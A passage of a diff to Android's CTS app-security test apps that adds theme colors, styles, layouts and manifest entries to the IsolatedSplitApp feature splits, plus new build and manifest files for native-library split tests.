+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations under
+ * the License.
+ */
+-->
+<color xmlns:android="http://schemas.android.com/apk/res/android"
+       android:color="?attr/themeSecondaryColor"/>
\ No newline at end of file
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/res/layout/feature_b_textview.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/res/layout/feature_b_textview.xml
new file mode 100644
index 0000000..42f9207
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/res/layout/feature_b_textview.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2020 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+      https://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<TextView xmlns:android="http://schemas.android.com/apk/res/android"
+    android:id="@+id/feature_b_text"
+    android:layout_height="wrap_content"
+    android:layout_width="wrap_content"
+    android:text="@string/feature_b_string"
+    android:background="?android:attr/colorBackground">
+</TextView>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/res/values-pl/colors.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/res/values-pl/colors.xml
new file mode 100644
index 0000000..2ee94b9
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/res/values-pl/colors.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<resources>
+    <color name="theme_base_color">@color/mintcream</color>
+    <color name="theme_secondary_color">@color/linen</color>
+    <color name="theme_color_background">@color/pink</color>
+    <color name="navigation_bar_color">@color/orange</color>
+    <color name="status_bar_color">@color/purple</color>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/res/values-pl/values.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/res/values-pl/values.xml
index fc46307..52d0bd6 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/res/values-pl/values.xml
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/res/values-pl/values.xml
@@ -16,4 +16,5 @@
 
 <resources>
     <string name="feature_b_string">Feature B String Polish</string>
+    <string name="theme_name">Feature B Theme Polish</string>
 </resources>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/res/values/attrs.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/res/values/attrs.xml
new file mode 100644
index 0000000..c9eae8e
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/res/values/attrs.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<resources>
+    <attr name="themeSecondaryColor" format="color|reference"/>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/res/values/colors.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/res/values/colors.xml
new file mode 100644
index 0000000..3f774d8
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/res/values/colors.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<resources>
+    <color name="theme_base_color">@color/purple</color>
+    <color name="theme_secondary_color">@color/pink</color>
+    <color name="theme_color_background">@color/orange</color>
+    <color name="navigation_bar_color">@color/linen</color>
+    <color name="status_bar_color">@color/mintcream</color>
+
+    <color name="purple">#ff800080</color>
+    <color name="pink">#ffffc0cb</color>
+    <color name="orange">#ffffa500</color>
+    <color name="linen">#fffaf0e6</color>
+    <color name="mintcream">#fff5fffa</color>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/res/values/styles.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/res/values/styles.xml
new file mode 100644
index 0000000..230f0eb
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/res/values/styles.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources xmlns:android="http://schemas.android.com/apk/res/android"
+           xmlns:base="http://schemas.android.com/apk/res/com.android.cts.isolatedsplitapp">
+    <style name="Theme_Feature_B" parent="@base:style/Theme_Base">
+        <item name="base:themeName">@string/theme_name</item>
+        <item name="base:themeBaseColor">@color/theme_base_color</item>
+        <item name="themeSecondaryColor">@color/theme_secondary_color</item>
+        <item name="android:colorBackground">@color/theme_color_background</item>
+        <item name="android:windowBackground">@drawable/feature_b_color_drawable</item>
+        <item name="android:navigationBarColor">@color/navigation_bar_color</item>
+        <item name="android:statusBarColor">@color/status_bar_color</item>
+    </style>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/res/values/values.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/res/values/values.xml
index 421ce55..ceef1dd 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/res/values/values.xml
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/res/values/values.xml
@@ -16,4 +16,5 @@
 
 <resources>
     <string name="feature_b_string">Feature B String Default</string>
+    <string name="theme_name">Feature B Theme</string>
 </resources>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/src/com/android/cts/isolatedsplitapp/feature_b/FeatureBActivity.java b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/src/com/android/cts/isolatedsplitapp/feature_b/FeatureBActivity.java
index 038555d..b5c3ad0 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/src/com/android/cts/isolatedsplitapp/feature_b/FeatureBActivity.java
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/src/com/android/cts/isolatedsplitapp/feature_b/FeatureBActivity.java
@@ -15,8 +15,18 @@
  */
 package com.android.cts.isolatedsplitapp.feature_b;
 
+import android.os.Bundle;
+import android.widget.LinearLayout;
+
 import com.android.cts.isolatedsplitapp.feature_a.FeatureAActivity;
 
 public class FeatureBActivity extends FeatureAActivity {
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
 
+        final LinearLayout linearLayout = findViewById(
+                com.android.cts.isolatedsplitapp.R.id.base_layout);
+        getLayoutInflater().inflate(R.layout.feature_b_textview, linearLayout);
+    }
 }
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/AndroidManifest.xml
index 012543b..4bbc9ce 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/AndroidManifest.xml
@@ -15,20 +15,22 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.isolatedsplitapp.feature_c"
-        featureSplit="feature_c"
-        android:targetSandboxVersion="2">
+     package="com.android.cts.isolatedsplitapp.feature_c"
+     featureSplit="feature_c"
+     android:targetSandboxVersion="2">
 
     <application>
-        <activity android:name=".FeatureCActivity">
+        <activity android:name=".FeatureCActivity" android:theme="@style/Theme_Feature_C"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
-        <receiver android:name=".FeatureCReceiver">
+        <receiver android:name=".FeatureCReceiver"
+             android:exported="true">
             <intent-filter>
-                <action android:name="com.android.cts.isolatedsplitapp.ACTION" />
+                <action android:name="com.android.cts.isolatedsplitapp.ACTION"/>
             </intent-filter>
         </receiver>
     </application>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/res/drawable/feature_c_color_drawable.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/res/drawable/feature_c_color_drawable.xml
new file mode 100644
index 0000000..1bc19ff
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/res/drawable/feature_c_color_drawable.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy of
+ * the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations under
+ * the License.
+ */
+-->
+<color xmlns:android="http://schemas.android.com/apk/res/android"
+       android:color="?attr/themeTertiaryColor"/>
\ No newline at end of file
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/res/layout/feature_c_textview.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/res/layout/feature_c_textview.xml
new file mode 100644
index 0000000..a69eceb
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/res/layout/feature_c_textview.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2020 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+      https://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<TextView xmlns:android="http://schemas.android.com/apk/res/android"
+    android:id="@+id/feature_c_text"
+    android:layout_height="wrap_content"
+    android:layout_width="wrap_content"
+    android:text="@string/feature_c_string"
+    android:background="?android:attr/colorBackground">
+</TextView>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/res/values-pl/colors.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/res/values-pl/colors.xml
new file mode 100644
index 0000000..086261e
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/res/values-pl/colors.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<resources>
+    <color name="theme_base_color">@color/olive</color>
+    <color name="theme_tertiary_color">@color/navy</color>
+    <color name="theme_color_background">@color/magenta</color>
+    <color name="navigation_bar_color">@color/maroon</color>
+    <color name="status_bar_color">@color/cyan</color>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/res/values-pl/values.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/res/values-pl/values.xml
index 2ab54a8..e8c2850 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/res/values-pl/values.xml
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/res/values-pl/values.xml
@@ -16,4 +16,5 @@
 
 <resources>
     <string name="feature_c_string">Feature C String Polish</string>
+    <string name="theme_name">Feature C Theme Polish</string>
 </resources>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/res/values/attrs.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/res/values/attrs.xml
new file mode 100644
index 0000000..007706d
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/res/values/attrs.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<resources>
+    <attr name="themeTertiaryColor" format="color|reference"/>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/res/values/colors.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/res/values/colors.xml
new file mode 100644
index 0000000..3bad5b3
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/res/values/colors.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<resources>
+    <color name="theme_base_color">@color/cyan</color>
+    <color name="theme_tertiary_color">@color/magenta</color>
+    <color name="theme_color_background">@color/maroon</color>
+    <color name="navigation_bar_color">@color/navy</color>
+    <color name="status_bar_color">@color/olive</color>
+
+    <color name="cyan">#ff00ffff</color>
+    <color name="magenta">#ffff00ff</color>
+    <color name="maroon">#ff800000</color>
+    <color name="navy">#ff000080</color>
+    <color name="olive">#ff808000</color>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/res/values/styles.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/res/values/styles.xml
new file mode 100644
index 0000000..2dc1a3e
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/res/values/styles.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources xmlns:android="http://schemas.android.com/apk/res/android"
+           xmlns:base="http://schemas.android.com/apk/res/com.android.cts.isolatedsplitapp">
+    <style name="Theme_Feature_C" parent="@base:style/Theme_Base">
+        <item name="base:themeName">@string/theme_name</item>
+        <item name="base:themeBaseColor">@color/theme_base_color</item>
+        <item name="themeTertiaryColor">@color/theme_tertiary_color</item>
+        <item name="android:colorBackground">@color/theme_color_background</item>
+        <item name="android:windowBackground">@drawable/feature_c_color_drawable</item>
+        <item name="android:navigationBarColor">@color/navigation_bar_color</item>
+        <item name="android:statusBarColor">@color/status_bar_color</item>
+    </style>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/res/values/values.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/res/values/values.xml
index 09f48ad..248e53b 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/res/values/values.xml
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/res/values/values.xml
@@ -16,4 +16,5 @@
 
 <resources>
     <string name="feature_c_string">Feature C String Default</string>
+    <string name="theme_name">Feature C Theme</string>
 </resources>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/src/com/android/cts/isolatedsplitapp/feature_c/FeatureCActivity.java b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/src/com/android/cts/isolatedsplitapp/feature_c/FeatureCActivity.java
index dab09a8..e97fd89 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/src/com/android/cts/isolatedsplitapp/feature_c/FeatureCActivity.java
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/src/com/android/cts/isolatedsplitapp/feature_c/FeatureCActivity.java
@@ -15,8 +15,18 @@
  */
 package com.android.cts.isolatedsplitapp.feature_c;
 
+import android.os.Bundle;
+import android.widget.LinearLayout;
+
 import com.android.cts.isolatedsplitapp.BaseActivity;
 
 public class FeatureCActivity extends BaseActivity {
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
 
+        final LinearLayout linearLayout = findViewById(
+                com.android.cts.isolatedsplitapp.R.id.base_layout);
+        getLayoutInflater().inflate(R.layout.feature_c_textview, linearLayout);
+    }
 }
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/native_split/Android.bp b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/native_split/Android.bp
new file mode 100644
index 0000000..bc31e38
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/native_split/Android.bp
@@ -0,0 +1,117 @@
+//
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test_library {
+    name: "libsplitappjni_isolated",
+    defaults: ["split_native_defaults"],
+    header_libs: ["jni_headers"],
+    shared_libs: ["liblog"],
+    srcs: ["jni/com_android_cts_isolatedsplitapp_Native.cpp"],
+}
+
+java_defaults {
+    name: "CtsSplitTestHelperApp_isolated_defaults",
+    compile_multilib: "both",
+
+    // TODO(b/179744452): Please add the following properties in individual modules because these
+    //                    properties can't inherit from java_defaults.
+    use_embedded_native_libs: false, // android:extractNativeLibs="true"
+    test_suites: TARGET_TEST_SUITES,
+}
+
+/**
+  * Isolated feature split with extracting native library
+  */
+android_test_helper_app {
+    name: "CtsIsolatedSplitAppExtractNativeLibsTrueJni",
+    defaults: ["CtsSplitTestHelperApp_isolated_defaults"],
+    manifest: "AndroidManifest_isolated_jni.xml",
+    jni_libs: ["libsplitappjni_isolated"],
+    use_embedded_native_libs: false, // android:extractNativeLibs="true"
+    srcs: ["src/**/*.java"],
+    test_suites: TARGET_TEST_SUITES,
+}
+
+android_test_helper_app {
+    name: "CtsIsolatedSplitAppExtractNativeLibsTrueNumberProviderA",
+    defaults: ["CtsSplitTestHelperApp_isolated_defaults"],
+    manifest: "AndroidManifest_isolated_number_provider_a.xml",
+    jni_libs: ["libsplitapp_number_provider_a"],
+    use_embedded_native_libs: false, // android:extractNativeLibs="true"
+    test_suites: TARGET_TEST_SUITES,
+}
+
+android_test_helper_app {
+    name: "CtsIsolatedSplitAppExtractNativeLibsTrueNumberProviderB",
+    defaults: ["CtsSplitTestHelperApp_isolated_defaults"],
+    manifest: "AndroidManifest_isolated_number_provider_b.xml",
+    jni_libs: ["libsplitapp_number_provider_b"],
+    use_embedded_native_libs: false, // android:extractNativeLibs="true"
+    test_suites: TARGET_TEST_SUITES,
+}
+
+android_test_helper_app {
+    name: "CtsIsolatedSplitAppExtractNativeLibsTrueNumberProxy",
+    defaults: ["CtsSplitTestHelperApp_isolated_defaults"],
+    manifest: "AndroidManifest_isolated_number_proxy.xml",
+    jni_libs: ["libsplitapp_number_proxy"],
+    use_embedded_native_libs: false, // android:extractNativeLibs="true"
+    test_suites: TARGET_TEST_SUITES,
+}
+
+/**
+  * Isolated feature split without extracting native library
+  */
+android_test_helper_app {
+    name: "CtsIsolatedSplitAppExtractNativeLibsFalseJni",
+    defaults: ["CtsSplitTestHelperApp_isolated_defaults"],
+    manifest: "AndroidManifest_isolated_jni.xml",
+    jni_libs: ["libsplitappjni_isolated"],
+    use_embedded_native_libs: true, // android:extractNativeLibs="false"
+    srcs: ["src/**/*.java"],
+    test_suites: TARGET_TEST_SUITES,
+}
+
+android_test_helper_app {
+    name: "CtsIsolatedSplitAppExtractNativeLibsFalseNumberProviderA",
+    defaults: ["CtsSplitTestHelperApp_isolated_defaults"],
+    manifest: "AndroidManifest_isolated_number_provider_a.xml",
+    jni_libs: ["libsplitapp_number_provider_a"],
+    use_embedded_native_libs: true, // android:extractNativeLibs="false"
+    test_suites: TARGET_TEST_SUITES,
+}
+
+android_test_helper_app {
+    name: "CtsIsolatedSplitAppExtractNativeLibsFalseNumberProviderB",
+    defaults: ["CtsSplitTestHelperApp_isolated_defaults"],
+    manifest: "AndroidManifest_isolated_number_provider_b.xml",
+    jni_libs: ["libsplitapp_number_provider_b"],
+    use_embedded_native_libs: true, // android:extractNativeLibs="false"
+    test_suites: TARGET_TEST_SUITES,
+}
+
+android_test_helper_app {
+    name: "CtsIsolatedSplitAppExtractNativeLibsFalseNumberProxy",
+    defaults: ["CtsSplitTestHelperApp_isolated_defaults"],
+    manifest: "AndroidManifest_isolated_number_proxy.xml",
+    jni_libs: ["libsplitapp_number_proxy"],
+    use_embedded_native_libs: true, // android:extractNativeLibs="false"
+    test_suites: TARGET_TEST_SUITES,
+}
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/native_split/AndroidManifest_isolated_jni.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/native_split/AndroidManifest_isolated_jni.xml
new file mode 100644
index 0000000..74a53e9
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/native_split/AndroidManifest_isolated_jni.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="com.android.cts.isolatedsplitapp"
+    featureSplit="isolated_native_jni_split">
+    <uses-split android:name="isolated_native_number_proxy_split"/>
+    <application>
+        <activity android:name="com.android.cts.isolatedsplitapp.jni.JniActivity">
+        </activity>
+    </application>
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/native_split/AndroidManifest_isolated_number_provider_a.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/native_split/AndroidManifest_isolated_number_provider_a.xml
new file mode 100644
index 0000000..b17cb00
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/native_split/AndroidManifest_isolated_number_provider_a.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2021 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+      http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="com.android.cts.isolatedsplitapp"
+    featureSplit="isolated_native_number_provider_a_split">
+    <application android:hasCode="false" />
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/native_split/AndroidManifest_isolated_number_provider_b.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/native_split/AndroidManifest_isolated_number_provider_b.xml
new file mode 100644
index 0000000..59d230f
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/native_split/AndroidManifest_isolated_number_provider_b.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2021 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+      http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="com.android.cts.isolatedsplitapp"
+    featureSplit="isolated_native_number_provider_b_split">
+    <application android:hasCode="false" />
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/native_split/AndroidManifest_isolated_number_proxy.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/native_split/AndroidManifest_isolated_number_proxy.xml
new file mode 100644
index 0000000..92ef511
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/native_split/AndroidManifest_isolated_number_proxy.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2021 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+      http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="com.android.cts.isolatedsplitapp"
+        featureSplit="isolated_native_number_proxy_split">
+    <uses-split android:name="isolated_native_number_provider_a_split"/>
+    <application android:hasCode="false" />
+</manifest>
